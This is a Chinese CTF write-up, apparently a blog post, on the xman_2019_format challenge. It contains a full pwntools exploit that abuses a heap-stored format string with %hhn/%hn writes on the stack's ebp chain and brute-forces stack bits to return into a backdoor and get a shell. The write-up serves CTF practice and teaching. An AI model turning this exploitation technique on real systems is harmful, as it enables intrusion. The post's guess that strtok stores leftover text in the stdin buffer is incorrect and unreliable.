xman_2019_format

前言

记录一下32位程序非栈上格式化字符串的爆破技巧。

程序分析

程序的逻辑比较简单,就是多个函数调用的套娃(其实也很重要,后面会讲),主要漏洞就是最后一个函数的格式化字符串的漏洞,但是格式化字符串是存储在heap上的,无法一把梭。
另外还有strtok函数需要学习一下。
在这里插入图片描述
这里还有一个后门函数,只要修改栈的返回地址为后门即可getshell。
在这里插入图片描述

exp

这里先给出exp。主要的思路就是利用程序多次调用栈存储的ebp链,第一次修改ebp链的最低位的字节,指向能够ret的地址,第二次修改此ret地址指向后门函数。

from pwn import *
from LibcSearcher import *
from sys import *
from time import *
context(os="linux",arch = "i386",log_level = "debug",terminal = ['gnome-terminal', '-x', 'sh', '-c'])
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
	port = sys.argv[3]
	p = remote("node4.buuoj.cn",port)
else:
	p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
	gdb.attach(p,"b *0x80485f6") #此处断点下在printf前
	pause()

fmt = ""
fmt += "%{}c%10$hhn|".format(str(0x6c)) #这里的可以随意选择0x?c都是可以的,因为需要爆破地址
fmt += "%{}c%18$hn".format(str(0x85AB))
# debug()
sl(fmt)
itr()

动态调试

断在printf函数前,可以看到ebp处有一条很长的指针链,这就是前面提到的多次函数调用套娃的作用了。根据调用约定,ebp + 4的位置存储的是ret的地址。我们可以把0xffb16378和0xffb1637c看成一组栈帧①,0xffb16398和0xffb1639c看成另外一组栈帧②。ASLR的保护机制让栈地址会随机生成,低12bit也不会固定,但是最低4bit是固定的。同时因为多次的函数调用,低12bit中的最高4bit在一组栈帧中是相同的。这时我们就只需要爆破中间的4bit即可修改原本ebp,让其指向ret的位置。
在这里插入图片描述

strtok

这里是个人理解,有不对的地方还请指出
函数声明:char *strtok(char *str, const char *delim),分解字符串 str 为一组字符串,delim 为分隔符。

demo

#include <string.h>
#include <stdio.h>
 
int main () {
   char str[80] = "This is - Tw0 - Hello";
   const char s[2] = "-";
   char *token;
   
   /* 获取第一个子字符串 */
   token = strtok(str, s);
   
   /* 继续获取其他的子字符串 */
   while( token != NULL ) {
      printf( "%s\n", token );
    
      token = strtok(NULL, s);
   }
   
   return(0);
}

运行结果如下。猜测strtok是以delim为分界符,从str中获取了字符子串,同时将剩下的字符存放在标准输入0的缓冲中,作为下一次输入。这样是为什么程序里面第二次的字符串要从0中读取了。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值